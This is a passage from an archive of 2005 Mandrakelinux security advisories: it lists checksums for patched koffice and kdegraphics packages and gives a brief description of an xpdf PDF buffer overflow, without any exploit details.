Mandrakelinux 10.0: d620ab0db67c4e25f755ee62cf1a474a 10.0/RPMS/koffice-1.3-12.2.100mdk.i586.rpm ade52f0ac258267ae8614502fabc8ab2 10.0/RPMS/libkoffice2-1.3-12.2.100mdk.i586.rpm 280135355e26e3baab14f63628c97dc2 10.0/RPMS/libkoffice2-devel-1.3-12.2.100mdk.i586.rpm d46d3a868900d7ab94aeaa34deea1018 10.0/SRPMS/koffice-1.3-12.2.100mdk.src.rpm Mandrakelinux 10.0/AMD64: 04bf5f31e92516f1c0458ba12c930a48 amd64/10.0/RPMS/koffice-1.3-12.2.100mdk.amd64.rpm eec5070100e0ddbc03d4e0c55dfe1be3 amd64/10.0/RPMS/lib64koffice2-1.3-12.2.100mdk.amd64.rpm 065702b188f8ea68df6493da6cdbd660 amd64/10.0/RPMS/lib64koffice2-devel-1.3-12.2.100mdk.amd64.rpm d46d3a868900d7ab94aeaa34deea1018 amd64/10.0/SRPMS/koffice-1.3-12.2.100mdk.src.rpm Mandrakelinux 10.1: c0530b7a5fa5542752b8998c31acce9e 10.1/RPMS/koffice-1.3.3-2.2.101mdk.i586.rpm 7d18d56f064133b241d2c454e817eb38 10.1/RPMS/koffice-karbon-1.3.3-2.2.101mdk.i586.rpm 9622c8c9f7876aa3d159532486117c5d 10.1/RPMS/koffice-kformula-1.3.3-2.2.101mdk.i586.rpm 4389b3cd90e57052424417f7a8dd4ceb 10.1/RPMS/koffice-kivio-1.3.3-2.2.101mdk.i586.rpm 361459b34c382e1c1382b483a92a6756 10.1/RPMS/koffice-koshell-1.3.3-2.2.101mdk.i586.rpm 15e865d609a58ac2783e8d25fde0418e 10.1/RPMS/koffice-kpresenter-1.3.3-2.2.101mdk.i586.rpm 65a868b881015cfd2376748526902fc8 10.1/RPMS/koffice-kspread-1.3.3-2.2.101mdk.i586.rpm 6587cc22182a858158cd8aea2afcba64 10.1/RPMS/koffice-kugar-1.3.3-2.2.101mdk.i586.rpm caf4007f0343e29a69d10a057af99c83 10.1/RPMS/koffice-kword-1.3.3-2.2.101mdk.i586.rpm da30f2308d7158089c383ca4a99d72ea 10.1/RPMS/koffice-progs-1.3.3-2.2.101mdk.i586.rpm 5784ad20ba835bd54cd95dc24d713253 10.1/RPMS/libkoffice2-karbon-1.3.3-2.2.101mdk.i586.rpm 8eda23533d992bb34d12c7bac00030be 10.1/RPMS/libkoffice2-kformula-1.3.3-2.2.101mdk.i586.rpm a7923dede9bb79346bab697142346ec1 10.1/RPMS/libkoffice2-kivio-1.3.3-2.2.101mdk.i586.rpm 5cc52af39aa57938d7edae0d640fc968 10.1/RPMS/libkoffice2-koshell-1.3.3-2.2.101mdk.i586.rpm e4bec26f95e1f55ced770cafd320e335 10.1/RPMS/libkoffice2-kpresenter-1.3.3-2.2.101mdk.i586.rpm a8e1b736a8a3924cc39495a32b6ad223 10.1/RPMS/libkoffice2-kspread-1.3.3-2.2.101mdk.i586.rpm 5d1e64e28d69771aa4709791547f3802 10.1/RPMS/libkoffice2-kspread-devel-1.3.3-2.2.101mdk.i586.rpm 81bbf226aca53b9ad14c7522f3302191 10.1/RPMS/libkoffice2-kugar-1.3.3-2.2.101mdk.i586.rpm e0c51ed40247b0d0715c6a67e9c0dfdc 10.1/RPMS/libkoffice2-kugar-devel-1.3.3-2.2.101mdk.i586.rpm 1403e58e5586b3dc41d874fb7f76992f 10.1/RPMS/libkoffice2-kword-1.3.3-2.2.101mdk.i586.rpm 77afbcf9c3603ec9cfae784e0d2ed43b 10.1/RPMS/libkoffice2-kword-devel-1.3.3-2.2.101mdk.i586.rpm 37a4b0ca89f95d47850392303f6774a1 10.1/RPMS/libkoffice2-progs-1.3.3-2.2.101mdk.i586.rpm 2219d9fdc81fcf660d60e15319e9943d 10.1/RPMS/libkoffice2-progs-devel-1.3.3-2.2.101mdk.i586.rpm 618a562fb56d40e4ecfd730d2b1be49b 10.1/SRPMS/koffice-1.3.3-2.2.101mdk.src.rpm Mandrakelinux 10.1/X86_64: d9cf8ecb69c8d7ccc2f0168ee078b3d3 x86_64/10.1/RPMS/koffice-1.3.3-2.2.101mdk.x86_64.rpm 460dd9a91e6e82323e110bf052371a52 x86_64/10.1/RPMS/koffice-karbon-1.3.3-2.2.101mdk.x86_64.rpm 3ae887f0ac3679219721611c1f05697d x86_64/10.1/RPMS/koffice-kformula-1.3.3-2.2.101mdk.x86_64.rpm 49efb5347574454645adca560a81f911 x86_64/10.1/RPMS/koffice-kivio-1.3.3-2.2.101mdk.x86_64.rpm 6f4a57a3d88a88ea7a179b4a1a113de9 x86_64/10.1/RPMS/koffice-koshell-1.3.3-2.2.101mdk.x86_64.rpm d5be06b78eb1a0d2606be0deaa45a4a8 x86_64/10.1/RPMS/koffice-kpresenter-1.3.3-2.2.101mdk.x86_64.rpm 96ed4e467d93797e925f09c3ca150a0b x86_64/10.1/RPMS/koffice-kspread-1.3.3-2.2.101mdk.x86_64.rpm 41c1e39c0766d9ed0a823d8d5fa7499b x86_64/10.1/RPMS/koffice-kugar-1.3.3-2.2.101mdk.x86_64.rpm cc48202eb30adf7625464def2461901c x86_64/10.1/RPMS/koffice-kword-1.3.3-2.2.101mdk.x86_64.rpm 7b672b3f77fe1d16ba22fe266695ffa9 x86_64/10.1/RPMS/koffice-progs-1.3.3-2.2.101mdk.x86_64.rpm 3d73eb1169a9a1055c06e134bb366b9f x86_64/10.1/RPMS/lib64koffice2-karbon-1.3.3-2.2.101mdk.x86_64.rpm c31083fa21030ae3270b6623ae6cb29c x86_64/10.1/RPMS/lib64koffice2-kformula-1.3.3-2.2.101mdk.x86_64.rpm 228b5a7e9a0f71b59b00d89f79dd627b x86_64/10.1/RPMS/lib64koffice2-kivio-1.3.3-2.2.101mdk.x86_64.rpm 9ecf703ab3f988fb9cd914c46387bd21 x86_64/10.1/RPMS/lib64koffice2-koshell-1.3.3-2.2.101mdk.x86_64.rpm 456dea35aba11bdfbf3fe253939289b9 x86_64/10.1/RPMS/lib64koffice2-kpresenter-1.3.3-2.2.101mdk.x86_64.rpm 75e1f65af93ef7fb4f5a754b0c7bec31 x86_64/10.1/RPMS/lib64koffice2-kspread-1.3.3-2.2.101mdk.x86_64.rpm 9c44cfeb5ddf24bf0a7cb0f7cb2aab0a x86_64/10.1/RPMS/lib64koffice2-kspread-devel-1.3.3-2.2.101mdk.x86_64.rpm 7b18675837a38c393747a6dd4b6ccf4e x86_64/10.1/RPMS/lib64koffice2-kugar-1.3.3-2.2.101mdk.x86_64.rpm f570ef6a23fa7afc2fb4379329853999 x86_64/10.1/RPMS/lib64koffice2-kugar-devel-1.3.3-2.2.101mdk.x86_64.rpm 4a558d84ab7a2d547c35801aca5d3dbb x86_64/10.1/RPMS/lib64koffice2-kword-1.3.3-2.2.101mdk.x86_64.rpm ea2261303599a4c9d465304e27201f64 x86_64/10.1/RPMS/lib64koffice2-kword-devel-1.3.3-2.2.101mdk.x86_64.rpm 77ade17c9ac8c20c9cf55478dd12aff7 x86_64/10.1/RPMS/lib64koffice2-progs-1.3.3-2.2.101mdk.x86_64.rpm 996b4496c415ffdc41c56e5d0dba97b5 x86_64/10.1/RPMS/lib64koffice2-progs-devel-1.3.3-2.2.101mdk.x86_64.rpm 618a562fb56d40e4ecfd730d2b1be49b x86_64/10.1/SRPMS/koffice-1.3.3-2.2.101mdk.src.rpm Corporate Server 3.0: b487481d69017027aa30d300768f077e corporate/3.0/RPMS/koffice-1.3-12.2.C30mdk.i586.rpm 8b4d331f0944c61fb8e5077bca050c2f corporate/3.0/RPMS/libkoffice2-1.3-12.2.C30mdk.i586.rpm 4d1dae4b305ff73a186b3eaf41ab89bb corporate/3.0/RPMS/libkoffice2-devel-1.3-12.2.C30mdk.i586.rpm 4ce907e44911ae3797f7746e2b73188f corporate/3.0/SRPMS/koffice-1.3-12.2.C30mdk.src.rpm _______________________________________________________________________ To upgrade automatically use MandrakeUpdate or urpmi. The verification of md5 checksums and GPG signatures is performed automatically for you. All packages are signed by Mandrakesoft for security. You can obtain the GPG public key of the Mandrakelinux Security Team by executing: gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98 You can view other update advisories for Mandrakelinux at: http://www.mandrakesoft.com/security/advisories If you want to report vulnerabilities, please contact security_linux-mandrake.com Type Bits/KeyID Date User ID pub 1024D/22458A98 2000-07-10 Linux Mandrake Security Team -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFB9yD+mqjQ0CJFipgRAqwNAJ93m5CjeU50ncwwcF1uzst71mQDogCeIN+p 4XAWLURtZZm3gDFX8G8WloY= =HhIw -----END PGP SIGNATURE----- From security at linux-mandrake.com Wed Jan 26 04:51:01 2005 From: security at linux-mandrake.com (Mandrake Linux Security Team) Date: Tue, 25 Jan 2005 21:51:01 -0700 Subject: [Full-Disclosure] MDKSA-2005:020 - Updated kdegraphics packages fix buffer overflow vulnerability Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 _______________________________________________________________________ Mandrakelinux Security Update Advisory _______________________________________________________________________ Package name: kdegraphics Advisory ID: MDKSA-2005:020 Date: January 25th, 2005 Affected versions: 10.0, 10.1, Corporate Server 3.0 ______________________________________________________________________ Problem Description: A buffer overflow vulnerability was discovered in the xpdf PDF code, which could allow for arbitrary code execution as the user viewing a PDF file. The vulnerability exists due to insufficient bounds checking while processing a PDF file that provides malicious values in the /Encrypt /Length tag. Kdegraphics uses xpdf code and is susceptible to the same vulnerability. 10.1 packages also include a fix for ksvg kde bug #74457. The updated packages have been patched to prevent these problems. _______________________________________________________________________ References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0064 ______________________________________________________________________ Updated Packages: Mandrakelinux 10.0: 9a7dcb9af3a883258f4ae6dfc515c240 10.0/RPMS/kdegraphics-3.2-15.5.100mdk.i586.rpm 99f9a64d9091cfad4afb59fb5c5b4943 10.0/RPMS/kdegraphics-common-3.2-15.5.100mdk.i586.rpm 7dc20d612ece55cb6766af4777047bc0 10.0/RPMS/kdegraphics-kdvi-3.2-15.5.100mdk.i586.rpm c54af2cff83ab872eb34d5f2b516d160 10.0/RPMS/kdegraphics-kfax-3.2-15.5.100mdk.i586.rpm fc7d3033e1b8cd5f89f63511e048d95d 10.0/RPMS/kdegraphics-kghostview-3.2-15.5.100mdk.i586.rpm b5f8551a47d1001d2c738007b409b34b 10.0/RPMS/kdegraphics-kiconedit-3.2-15.5.100mdk.i586.rpm c3d62b26a96dfc6424b97d954622154a 10.0/RPMS/kdegraphics-kooka-3.2-15.5.100mdk.i586.rpm 12ac431a66fd59fc090b39aa711ebb6d 10.0/RPMS/kdegraphics-kpaint-3.2-15.5.100mdk.i586.rpm 923d120ee4bc8b6b0b6bcf10122e55a5 10.0/RPMS/kdegraphics-kpdf-3.2-15.5.100mdk.i586.rpm 8d8b042da57285234c91551656b384b7 10.0/RPMS/kdegraphics-kpovmodeler-3.2-15.5.100mdk.i586.rpm b398984700951d117b77f9a7d16988d4 10.0/RPMS/kdegraphics-kruler-3.2-15.5.100mdk.i586.rpm 4ffc8a63fd179b333e4dce71b478f358 10.0/RPMS/kdegraphics-ksnapshot-3.2-15.5.100mdk.i586.rpm f84119c08c325f47b6f0c41890e805b3 10.0/RPMS/kdegraphics-ksvg-3.2-15.5.100mdk.i586.rpm 70b2c9895feac7292ac2ead089b3680e 10.0/RPMS/kdegraphics-kuickshow-3.2-15.5.100mdk.i586.rpm ae70ec34786dfb8d6ac59f87a3d275f7 10.0/RPMS/kdegraphics-kview-3.2-15.5.100mdk.i586.rpm a1deaf4ca51625f0c64d919429c67765 10.0/RPMS/kdegraphics-mrmlsearch-3.2-15.5.100mdk.i586.rpm 646ceb5feb37709883b130bd48c3ee03 10.0/RPMS/libkdegraphics0-common-3.2-15.5.100mdk.i586.rpm e8925100efb3c0142141e070733f028f 10.0/RPMS/libkdegraphics0-common-devel-3.2-15.5.100mdk.i586.rpm e5431076c47352cd209b9bcf75c3e4eb 10.0/RPMS/libkdegraphics0-kooka-3.2-15.5.100mdk.i586.rpm af48014f2f3dde8cf37fd24242ea5a46 10.0/RPMS/libkdegraphics0-kooka-devel-3.2-15.5.100mdk.i586.rpm 2dffb54b41c94ae87ceec3247a99943e 10.0/RPMS/libkdegraphics0-kpovmodeler-3.2-15.5.100mdk.i586.rpm 3ee3e1a270cace82b397a99cb2a6cde9 10.0/RPMS/libkdegraphics0-kpovmodeler-devel-3.2-15.5.100mdk.i586.rpm d6d896a5a5adf3c061391d2d72b14fff 10.0/RPMS/libkdegraphics0-ksvg-3.2-15.5.100mdk.i586.rpm bacdd1bbecdce2058be8220e1cd1952c 10.0/RPMS/libkdegraphics0-ksvg-devel-3.2-15.5.100mdk.i586.rpm d3713212a0a60e552c2b8cdeea243f28 10.0/RPMS/libkdegraphics0-kuickshow-3.2-15.5.100mdk.i586.rpm e155e0f97fee455bfc7d08c7aa147d16 10.0/RPMS/libkdegraphics0-kview-3.2-15.5.100mdk.i586.rpm c6bc7bd0fdf292316e1676bf18ae25d2 10.0/RPMS/libkdegraphics0-kview-devel-3.2-15.5.100mdk.i586.rpm f00f79af88ed366a4b0f9abf90f6e068 10.0/RPMS/libkdegraphics0-mrmlsearch-3.2-15.5.100mdk.i586.rpm ed3a146ca54fe687b3ed307bfcdeed85 10.0/SRPMS/kdegraphics-3.2-15.5.100mdk.src.rpm Mandrakelinux 10.0/AMD64: cc4b491315f12ec1d7337c04e8f6f102 amd64/10.0/RPMS/kdegraphics-3.2-15.5.100mdk.amd64.rpm b8a311512bda484c2bc288413aa297c2 amd64/10.0/RPMS/kdegraphics-common-3.2-15.5.100mdk.amd64.rpm 4d8bd265dc2a6bf0d4fcab1e43faa5f0 amd64/10.0/RPMS/kdegraphics-kdvi-3.2-15.5.100mdk.amd64.rpm 5b021b91e11fca4645caa9abd6314f5f amd64/10.0/RPMS/kdegraphics-kfax-3.2-15.5.100mdk.amd64.rpm 7b7fb9c73b2fc9989c3077913ef029ce amd64/10.0/RPMS/kdegraphics-kghostview-3.2-15.5.100mdk.amd64.rpm 024446cc0b88c4b388a6af4ca943e6a7 amd64/10.0/RPMS/kdegraphics-kiconedit-3.2-15.5.100mdk.amd64.rpm ee14199581830c6f395f6e65b618dc62 amd64/10.0/RPMS/kdegraphics-kooka-3.2-15.5.100mdk.amd64.rpm 140724cb660e8d7333081d29dced4f7d amd64/10.0/RPMS/kdegraphics-kpaint-3.2-15.5.100mdk.amd64.rpm 0e7e078461ed0a556ff9b3c727e37d7a amd64/10.0/RPMS/kdegraphics-kpdf-3.2-15.5.100mdk.amd64.rpm 880882849f8133f0748fcaf97bd33614 amd64/10.0/RPMS/kdegraphics-kpovmodeler-3.2-15.5.100mdk.amd64.rpm 823cd25430b1c7d887bf85f0f14d93e1 amd64/10.0/RPMS/kdegraphics-kruler-3.2-15.5.100mdk.amd64.rpm e7c7fd8f50960a83c127020b084b9578 amd64/10.0/RPMS/kdegraphics-ksnapshot-3.2-15.5.100mdk.amd64.rpm 179d3f4f65a1eba4d8429b7400b3dbda amd64/10.0/RPMS/kdegraphics-ksvg-3.2-15.5.100mdk.amd64.rpm d201b9692c9e3e67c65caf4486036f6f amd64/10.0/RPMS/kdegraphics-kuickshow-3.2-15.5.100mdk.amd64.rpm 8b225eebcf3782321f6819ce14201c17 amd64/10.0/RPMS/kdegraphics-kview-3.2-15.5.100mdk.amd64.rpm 174d53919fe6bd3950dffe7363af8ebd amd64/10.0/RPMS/kdegraphics-mrmlsearch-3.2-15.5.100mdk.amd64.rpm 0b124a9961e10f77b0aa1719d4248df1 amd64/10.0/RPMS/lib64kdegraphics0-common-3.2-15.5.100mdk.amd64.rpm 30a82e5787d0dceb9dca5bd9fe33f4cd amd64/10.0/RPMS/lib64kdegraphics0-common-devel-3.2-15.5.100mdk.amd64.rpm dbcf9cb9d551d5336bee057eeb5248f1 amd64/10.0/RPMS/lib64kdegraphics0-kooka-3.2-15.5.100mdk.amd64.rpm dc34e14d6e018d6dd1ebaf557df74ca8 amd64/10.0/RPMS/lib64kdegraphics0-kooka-devel-3.2-15.5.100mdk.amd64.rpm e6767e0b97fd2c3f576f5720d4828232 amd64/10.0/RPMS/lib64kdegraphics0-kpovmodeler-3.2-15.5.100mdk.amd64.rpm 9deddb7f37b20a5160d6d426c43e679e amd64/10.0/RPMS/lib64kdegraphics0-kpovmodeler-devel-3.2-15.5.100mdk.amd64.rpm be9f659cf436a49b15030acf2e0a96fe amd64/10.0/RPMS/lib64kdegraphics0-ksvg-3.2-15.5.100mdk.amd64.rpm 074c2078f629b963f2b9537bae175b53 amd64/10.0/RPMS/lib64kdegraphics0-ksvg-devel-3.2-15.5.100mdk.amd64.rpm 72d3907f849391ecf13e32415deac6b3 amd64/10.0/RPMS/lib64kdegraphics0-kuickshow-3.2-15.5.100mdk.amd64.rpm dd0a21ae1b36edfcfb204c9c474667b7 amd64/10.0/RPMS/lib64kdegraphics0-kview-3.2-15.5.100mdk.amd64.rpm 1b130ada5ad9b87f6f4e8198067d6572 amd64/10.0/RPMS/lib64kdegraphics0-kview-devel-3.2-15.5.100mdk.amd64.rpm 6c784ecbe23c1d39909034ebd14d3513 amd64/10.0/RPMS/lib64kdegraphics0-mrmlsearch-3.2-15.5.100mdk.amd64.rpm ed3a146ca54fe687b3ed307bfcdeed85 amd64/10.0/SRPMS/kdegraphics-3.2-15.5.100mdk.src.rpm Mandrakelinux 10.1: 65da2307d48e0456ea81d5162f505e4f 10.1/RPMS/kdegraphics-3.2.3-17.4.101mdk.i586.rpm 02865c06fd0cb9636f73ea410242dfd6 10.1/RPMS/kdegraphics-common-3.2.3-17.4.101mdk.i586.rpm 9a17fc9356c8a6110a6c8e65268d86f0 10.1/RPMS/kdegraphics-kdvi-3.2.3-17.4.101mdk.i586.rpm e61b2460a2cd7115ff56f5fbb6f319af 10.1/RPMS/kdegraphics-kfax-3.2.3-17.4.101mdk.i586.rpm 4ade07b3cf9cb8aae02b9d36d1464aed 10.1/RPMS/kdegraphics-kghostview-3.2.3-17.4.101mdk.i586.rpm e692e095b104d2238c72e3a91c15d8fd 10.1/RPMS/kdegraphics-kiconedit-3.2.3-17.4.101mdk.i586.rpm fa1ddea1ab81962c7a5d454cce7d5d64 10.1/RPMS/kdegraphics-kooka-3.2.3-17.4.101mdk.i586.rpm fa2f4facbb72992b2d06d4385d25a242 10.1/RPMS/kdegraphics-kpaint-3.2.3-17.4.101mdk.i586.rpm 1c3857f276c202b1a2bff72b70e2ea35 10.1/RPMS/kdegraphics-kpdf-3.2.3-17.4.101mdk.i586.rpm e6f5a175209241828e43686b478d4d5a 10.1/RPMS/kdegraphics-kpovmodeler-3.2.3-17.4.101mdk.i586.rpm 52407fec78b3be0440a7e327efe96a5a 10.1/RPMS/kdegraphics-kruler-3.2.3-17.4.101mdk.i586.rpm 9310d897e44d921e0526598f3699286e 10.1/RPMS/kdegraphics-ksnapshot-3.2.3-17.4.101mdk.i586.rpm 2480a1380d909b5c1ff671ad75a5029e 10.1/RPMS/kdegraphics-ksvg-3.2.3-17.4.101mdk.i586.rpm 182f0766dc4e335b2b64961c6ec33d83 10.1/RPMS/kdegraphics-kuickshow-3.2.3-17.4.101mdk.i586.rpm 1f5401feab408ff6e89b62b8c019801b 10.1/RPMS/kdegraphics-kview-3.2.3-17.4.101mdk.i586.rpm 5e8a2dd1677695f5cf62bffa1c66bd67 10.1/RPMS/kdegraphics-mrmlsearch-3.2.3-17.4.101mdk.i586.rpm 202646df1dec8c5161e47ab1fba80835 10.1/RPMS/libkdegraphics0-common-3.2.3-17.4.101mdk.i586.rpm 6551868638ea06be784c5f3a3083704d 10.1/RPMS/libkdegraphics0-common-devel-3.2.3-17.4.101mdk.i586.rpm 7e4517077652c2a75eb3abe9cd235ea6 10.1/RPMS/libkdegraphics0-kghostview-3.2.3-17.4.101mdk.i586.rpm e5c5e4e0a15d19d6598feeac0b709347 10.1/RPMS/libkdegraphics0-kghostview-devel-3.2.3-17.4.101mdk.i586.rpm 5d4287f5772b3e0750512fed41ce1d24 10.1/RPMS/libkdegraphics0-kooka-3.2.3-17.4.101mdk.i586.rpm 2006d0fd3339e776ec2907acd97c7019 10.1/RPMS/libkdegraphics0-kooka-devel-3.2.3-17.4.101mdk.i586.rpm 5b46feba29bf7c3a4ed7745ab219cfe2 10.1/RPMS/libkdegraphics0-kpovmodeler-3.2.3-17.4.101mdk.i586.rpm 9a9fc316112cc5c5de7a102cd382b395 10.1/RPMS/libkdegraphics0-kpovmodeler-devel-3.2.3-17.4.101mdk.i586.rpm ab3d909913657f882d9708e7aadd8f59 10.1/RPMS/libkdegraphics0-ksvg-3.2.3-17.4.101mdk.i586.rpm f48673088a976f39811e726e24bf2dd8 10.1/RPMS/libkdegraphics0-ksvg-devel-3.2.3-17.4.101mdk.i586.rpm e47a7a83e191d6b0e495f7c7edd29844 10.1/RPMS/libkdegraphics0-kuickshow-3.2.3-17.4.101mdk.i586.rpm 2fe70e7e2f82b5cd24eff1eda655d183 10.1/RPMS/libkdegraphics0-kview-3.2.3-17.4.101mdk.i586.rpm 4d3f99e500292f68f2f94cb43c959177 10.1/RPMS/libkdegraphics0-kview-devel-3.2.3-17.4.101mdk.i586.rpm 2e99917cbd90b57e6e341986f11f5fe8 10.1/RPMS/libkdegraphics0-mrmlsearch-3.2.3-17.4.101mdk.i586.rpm ca802ced9824501790a28f39f6d86543 10.1/SRPMS/kdegraphics-3.2.3-17.4.101mdk.src.rpm Mandrakelinux 10.1/X86_64: 6ec2bb413e709d4be27a948cff82ad44 x86_64/10.1/RPMS/kdegraphics-3.2.3-17.4.101mdk.x86_64.rpm b52a75346df22d213a3c681fc01996f7 x86_64/10.1/RPMS/kdegraphics-common-3.2.3-17.4.101mdk.x86_64.rpm f0a758b1f6677a6dbc2720be12938c58 x86_64/10.1/RPMS/kdegraphics-kdvi-3.2.3-17.4.101mdk.x86_64.rpm 538b0675b06a9175f6f05529408ced58 x86_64/10.1/RPMS/kdegraphics-kfax-3.2.3-17.4.101mdk.x86_64.rpm cd346f9caa2daa5b743da380a90398ee x86_64/10.1/RPMS/kdegraphics-kghostview-3.2.3-17.4.101mdk.x86_64.rpm 180f28bad724a7c5a82197024ee2e72e x86_64/10.1/RPMS/kdegraphics-kiconedit-3.2.3-17.4.101mdk.x86_64.rpm 865abc55d59f76bb8031ec5f40475138 x86_64/10.1/RPMS/kdegraphics-kooka-3.2.3-17.4.101mdk.x86_64.rpm 863ef60f3dbf0c84b8715e8db25cc65c x86_64/10.1/RPMS/kdegraphics-kpaint-3.2.3-17.4.101mdk.x86_64.rpm 3f86f599521d76b7259b262ae864b9e5 x86_64/10.1/RPMS/kdegraphics-kpdf-3.2.3-17.4.101mdk.x86_64.rpm d109f39c8aa03cbbc95583fa871745d8 x86_64/10.1/RPMS/kdegraphics-kpovmodeler-3.2.3-17.4.101mdk.x86_64.rpm 28407a6efa3d3a043fe260bc42ad9f9a x86_64/10.1/RPMS/kdegraphics-kruler-3.2.3-17.4.101mdk.x86_64.rpm 75fcae9f28a7dbb5581e543b18270b87 x86_64/10.1/RPMS/kdegraphics-ksnapshot-3.2.3-17.4.101mdk.x86_64.rpm 8719e1b7dd182a79a0dac6b2c056adeb x86_64/10.1/RPMS/kdegraphics-ksvg-3.2.3-17.4.101mdk.x86_64.rpm def53a7c4ae32ffb2349cd0e9a851706 x86_64/10.1/RPMS/kdegraphics-kuickshow-3.2.3-17.4.101mdk.x86_64.rpm 34363c42a1f2a3be07d50359c9c3c881 x86_64/10.1/RPMS/kdegraphics-kview-3.2.3-17.4.101mdk.x86_64.rpm 2ba507c7233d5735904d99ac2fed6b17 x86_64/10.1/RPMS/kdegraphics-mrmlsearch-3.2.3-17.4.101mdk.x86_64.rpm ab18b5cf2ccaeb9e9d53f8d514cf1892 x86_64/10.1/RPMS/lib64kdegraphics0-common-3.2.3-17.4.101mdk.x86_64.rpm 257b8709d19bb9c2b4494f19eb32e1e8 x86_64/10.1/RPMS/lib64kdegraphics0-common-devel-3.2.3-17.4.101mdk.x86_64.rpm 4eef35d07d6e006f77df3ee11d3a9560 x86_64/10.1/RPMS/lib64kdegraphics0-kghostview-3.2.3-17.4.101mdk.x86_64.rpm c38d981ea22fc6cadabdef02e9e1cc07 x86_64/10.1/RPMS/lib64kdegraphics0-kghostview-devel-3.2.3-17.4.101mdk.x86_64.rpm 351f5d27919f18cb668c23dc280b73f0 x86_64/10.1/RPMS/lib64kdegraphics0-kooka-3.2.3-17.4.101mdk.x86_64.rpm bdb74186c31ca2b412fad50778c57121 x86_64/10.1/RPMS/lib64kdegraphics0-kooka-devel-3.2.3-17.4.101mdk.x86_64.rpm 55114dc8d5f800f715417dbd335374c3 x86_64/10.1/RPMS/lib64kdegraphics0-kpovmodeler-3.2.3-17.4.101mdk.x86_64.rpm 7e6b4855ed0fdb66490e2a8a39fcef83 x86_64/10.1/RPMS/lib64kdegraphics0-kpovmodeler-devel-3.2.3-17.4.101mdk.x86_64.rpm cd81e2024ba8297ca591635424862a57 x86_64/10.1/RPMS/lib64kdegraphics0-ksvg-3.2.3-17.4.101mdk.x86_64.rpm a65cc4467ad6cc76875ff7af3c5dabe1 x86_64/10.1/RPMS/lib64kdegraphics0-ksvg-devel-3.2.3-17.4.101mdk.x86_64.rpm f392ab2c87026dcecf59192c33fa8893 x86_64/10.1/RPMS/lib64kdegraphics0-kuickshow-3.2.3-17.4.101mdk.x86_64.rpm f6a172d99788762c9ae4a629e28272ac x86_64/10.1/RPMS/lib64kdegraphics0-kview-3.2.3-17.4.101mdk.x86_64.rpm e74204d00991a1d7ae92b58a0c8b1b5f x86_64/10.1/RPMS/lib64kdegraphics0-kview-devel-3.2.3-17.4.101mdk.x86_64.rpm ebfb764b8f9507e1ebde21d1bb26d131 x86_64/10.1/RPMS/lib64kdegraphics0-mrmlsearch-3.2.3-17.4.101mdk.x86_64.rpm ca802ced9824501790a28f39f6d86543 x86_64/10.1/SRPMS/kdegraphics-3.2.3-17.4.101mdk.src.rpm Corporate Server 3.0: dfff49798c7876a734412030d8c8f88d corporate/3.0/RPMS/kdegraphics-3.2-15.5.C30mdk.i586.rpm 6e0aa658d7d9295ad1abe02774d086e0 corporate/3.0/RPMS/kdegraphics-common-3.2-15.5.C30mdk.i586.rpm 3d1fadfca4a5d6ca4da5b8c365437114 corporate/3.0/RPMS/kdegraphics-kdvi-3.2-15.5.C30mdk.i586.rpm d217719226d15bedd0a2b72ff71d72bc corporate/3.0/RPMS/kdegraphics-kfax-3.2-15.5.C30mdk.i586.rpm 6c7b51e7df01bc33f14257f164b78559 corporate/3.0/RPMS/kdegraphics-kghostview-3.2-15.5.C30mdk.i586.rpm 840b1425201f0cbf20243f448d7bb742 corporate/3.0/RPMS/kdegraphics-kiconedit-3.2-15.5.C30mdk.i586.rpm 7974758345224e012e7b4ae5324545ac corporate/3.0/RPMS/kdegraphics-kooka-3.2-15.5.C30mdk.i586.rpm 12a32d9cc423f2eb45abdd52c881711d corporate/3.0/RPMS/kdegraphics-kpaint-3.2-15.5.C30mdk.i586.rpm c487a477f371f6542ca59f2dfbfc2c24 corporate/3.0/RPMS/kdegraphics-kpdf-3.2-15.5.C30mdk.i586.rpm 4447ee0d9e42179cf65c1f3d1c6469d7 corporate/3.0/RPMS/kdegraphics-kpovmodeler-3.2-15.5.C30mdk.i586.rpm 1da8e75381e6d72936c9a5b84ccc1593 corporate/3.0/RPMS/kdegraphics-kruler-3.2-15.5.C30mdk.i586.rpm 3bcce0e613fa286cbc2b9155b980f52b corporate/3.0/RPMS/kdegraphics-ksnapshot-3.2-15.5.C30mdk.i586.rpm 98b038ffdccedc575bcc4bf0f96c0005 corporate/3.0/RPMS/kdegraphics-ksvg-3.2-15.5.C30mdk.i586.rpm 574bff0e60eaa9bca31ff73eaa0ef7ef corporate/3.0/RPMS/kdegraphics-kuickshow-3.2-15.5.C30mdk.i586.rpm 5cbc51081a126cac7d1b5f7117736241 corporate/3.0/RPMS/kdegraphics-kview-3.2-15.5.C30mdk.i586.rpm e1463ecc8bd9acd4f42053c1299e5dd9 corporate/3.0/RPMS/kdegraphics-mrmlsearch-3.2-15.5.C30mdk.i586.rpm 3dfcdef860008ef41d7a5d6592ea3401 corporate/3.0/RPMS/libkdegraphics0-common-3.2-15.5.C30mdk.i586.rpm 270bdd4bbb2e39ec4452cfd3c63e1619 corporate/3.0/RPMS/libkdegraphics0-common-devel-3.2-15.5.C30mdk.i586.rpm 24c23d69a75cf83ec0bb38d134cb79dc corporate/3.0/RPMS/libkdegraphics0-kooka-3.2-15.5.C30mdk.i586.rpm 567155478eecd49b28eb8d45555dafd4 corporate/3.0/RPMS/libkdegraphics0-kooka-devel-3.2-15.5.C30mdk.i586.rpm f414d912828b30c3404b5a9e67b5b411 corporate/3.0/RPMS/libkdegraphics0-kpovmodeler-3.2-15.5.C30mdk.i586.rpm 81696425936929a238e374a4cf83b411 corporate/3.0/RPMS/libkdegraphics0-kpovmodeler-devel-3.2-15.5.C30mdk.i586.rpm 3798ce2366de6ad53684371bd2ad236e corporate/3.0/RPMS/libkdegraphics0-ksvg-3.2-15.5.C30mdk.i586.rpm 0f5143b66eff6662ddaa25b55f5f4383 corporate/3.0/RPMS/libkdegraphics0-ksvg-devel-3.2-15.5.C30mdk.i586.rpm 8b316e388190a78d9dbf7ed3b947b7f4 corporate/3.0/RPMS/libkdegraphics0-kuickshow-3.2-15.5.C30mdk.i586.rpm 8762fe66cf0061cea7b9ae584a16e9ca corporate/3.0/RPMS/libkdegraphics0-kview-3.2-15.5.C30mdk.i586.rpm ca9c544d53c1080ed3af1cbabf816fba corporate/3.0/RPMS/libkdegraphics0-kview-devel-3.2-15.5.C30mdk.i586.rpm 